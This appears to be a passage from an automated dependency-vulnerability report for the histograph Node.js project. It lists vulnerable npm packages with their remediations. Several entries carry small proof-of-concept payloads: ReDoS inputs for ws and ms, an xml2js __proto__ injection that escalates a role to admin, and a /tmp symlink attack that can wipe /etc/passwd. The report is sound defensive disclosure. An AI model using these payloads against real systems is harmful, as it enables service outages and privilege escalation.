ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ws
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 engine.io@1.8.5 ws@1.1.5
    Remediation: Upgrade to socket.io@2.3.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 engine.io-client@1.8.6 ws@1.1.5
    Remediation: Upgrade to socket.io@2.4.0.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

##PoC

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: xml2js
  • Introduced through: xml2js@0.4.23

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph xml2js@0.4.23
    Remediation: Upgrade to xml2js@0.5.0.

Overview

Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__ property to be edited.

PoC

var parseString = require('xml2js').parseString;

let normal_user_request    = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";

const update_user = (userProp) => {
    // A user cannot alter his role. This way we prevent privilege escalations.
    parseString(userProp, function (err, user) {
        if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
            console.log("Unauthorized Action");
        } else {
            console.log(user?.role[0]);
        }
    });
}

update_user(normal_user_request);
update_user(malicious_user_request);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade xml2js to version 0.5.0 or higher.

References

medium severity

Session Fixation

  • Vulnerable module: passport
  • Introduced through: passport@0.2.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph passport@0.2.2
    Remediation: Upgrade to passport@0.6.0.

Overview

passport is a Simple, unobtrusive authentication for Node.js.

Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.

Remediation

Upgrade passport to version 0.6.0 or higher.

References

medium severity

Improper Handling of Unexpected Data Type

  • Vulnerable module: on-headers
  • Introduced through: compression@1.6.2 and cookie-session@1.4.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph compression@1.6.2 on-headers@1.0.2
    Remediation: Upgrade to compression@1.8.1.
  • Introduced through: histograph@CVCEeu-dh/histograph cookie-session@1.4.0 on-headers@1.0.2
    Remediation: Upgrade to cookie-session@2.1.1.

Overview

Affected versions of this package are vulnerable to Improper Handling of Unexpected Data Type via the response.writeHead function. An attacker can manipulate HTTP response headers by passing an array to this function, potentially leading to unintended disclosure or modification of header information.

Workaround

This vulnerability can be mitigated by passing an object to response.writeHead() instead of an array.

Remediation

Upgrade on-headers to version 1.1.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: exectimer@1.1.0 and inquirer@0.10.1

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 lodash@2.4.2
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 grunt-legacy-log-utils@0.1.1 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-util@0.2.0 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 lodash@3.7.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph inquirer@0.10.1 lodash@3.10.1
    Remediation: Upgrade to inquirer@0.12.0.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: debug
  • Introduced through: compression@1.6.2 and socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph compression@1.6.2 debug@2.2.0
    Remediation: Upgrade to compression@1.7.1.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-parser@2.3.1 debug@2.2.0
    Remediation: Upgrade to socket.io@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-adapter@0.5.0 socket.io-parser@2.3.1 debug@2.2.0
    Remediation: Open PR to patch debug@2.2.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 socket.io-parser@2.3.1 debug@2.2.0
    Remediation: Upgrade to socket.io@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 debug@2.3.3
    Remediation: Upgrade to socket.io@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 engine.io@1.8.5 debug@2.3.3
    Remediation: Upgrade to socket.io@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-adapter@0.5.0 debug@2.3.3
    Remediation: Upgrade to socket.io@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 debug@2.3.3
    Remediation: Upgrade to socket.io@2.0.2.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 engine.io-client@1.8.6 debug@2.3.3
    Remediation: Upgrade to socket.io@2.0.0.

Overview

debug is a small debugging utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument. The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.

Note: CVE-2017-20165 is a duplicate of this vulnerability.

PoC

Use the following regex in the %o formatter.

/\s*\n\s*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ms
  • Introduced through: compression@1.6.2 and socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph compression@1.6.2 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to compression@1.7.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-parser@2.3.1 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to socket.io@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-adapter@0.5.0 socket.io-parser@2.3.1 debug@2.2.0 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 socket.io-parser@2.3.1 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to socket.io@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 debug@2.3.3 ms@0.7.2
    Remediation: Upgrade to socket.io@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 engine.io@1.8.5 debug@2.3.3 ms@0.7.2
    Remediation: Upgrade to socket.io@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-adapter@0.5.0 debug@2.3.3 ms@0.7.2
    Remediation: Upgrade to socket.io@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 debug@2.3.3 ms@0.7.2
    Remediation: Upgrade to socket.io@2.0.2.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 engine.io-client@1.8.6 debug@2.3.3 ms@0.7.2
    Remediation: Upgrade to socket.io@2.0.0.

Overview

ms is a tiny millisecond conversion utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.

Proof of concept

ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s

Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.

For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.

Disclosure Timeline

  • Feb 9th, 2017 - Reported the issue to package owner.
  • Feb 11th, 2017 - Issue acknowledged by package owner.
  • April 12th, 2017 - Fix PR opened by Snyk Security Team.
  • May 15th, 2017 - Vulnerability published.
  • May 16th, 2017 - Issue fixed and version 2.0.0 released.
  • May 21th, 2017 - Patches released for versions >=0.7.1, <=1.0.0.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ms to version 2.0.0 or higher.

References

low severity

Insecure use of /tmp folder

  • Vulnerable module: cli
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 cli@0.6.6
    Remediation: Upgrade to exectimer@2.0.0.

Overview

cli is an npm package used for rapidly building command line apps.

When used in daemon mode, the library makes insecure use of two files in the /tmp/ folder: /tmp/<app-name>.pid and /tmp/<app-name>.log. These allow an attacker to overwrite files they typically cannot access, but that are accessible by the user running the CLI-using app. This is possible since the /tmp/ folder is (typically) writeable to all system users, and because the names of the files in question are easily predicted by an attacker.

Note that while this is a real vulnerability, it relies on functionality (daemon mode) which is only supported in very old Node versions (0.8 or older), and so is unlikely to be used by most cli users. To avoid any doubt, the fixed version (1.0.0) removes support for this feature entirely.

This vulnerability has also been assigned CVE-2016-1000021.

Details

For example, assume user victim occasionally runs a CLI tool called cli-tool, which uses the cli package. If an attacker gains write access to the /tmp/ folder of that machine (but not the higher permissions victim has), they can create the symbolic link /tmp/cli-tool.pid -> /home/victim/important-file. When victim runs cli-tool, the important-file in victim's root directory will be nullified. If the CLI tool is run as root, the same can be done to nullify /etc/passwd and make the system unbootable.

Note that popular CLI tools have no reason to mask their names, and so attackers can easily guess a long list of tools victims may run by checking the cli package dependents.

Remediation

Upgrade cli to version 1.0.0 or greater, which disables the affected feature.

From the fix release notes:

This feature relies on a beta release (e.g. version 0.5.1) of a Node.js
module on npm--one that was superseded by a stable (e.g. version 1.0)
release published three years ago [2]. Due to a build-time dependency on
the long-since deprecated `node-waf` tool, the module at that version
can only be built for Node.js versions 0.8 and below.

Given this, actual usage of this feature is likely very limited. Remove
it completely so the integrity of this module's core functionality can
be verified.

References

[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=809252 [2] https://github.com/node-js-libs/cli/commit/fd6bc4d2a901aabe0bb6067fbcc14a4fe3faa8b9

low severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2 follow-redirects@1.5.10
    Remediation: Upgrade to axios@0.20.0.

Overview

Affected versions of this package are vulnerable to Information Exposure due a leakage of the Authorization header from the same hostname during HTTPS to HTTP redirection. An attacker who can listen in on the wire (or perform a MITM attack) will be able to receive the Authorization header due to the usage of the insecure HTTP protocol which does not verify the hostname the request is sending to.

Remediation

Upgrade follow-redirects to version 1.14.8 or higher.

References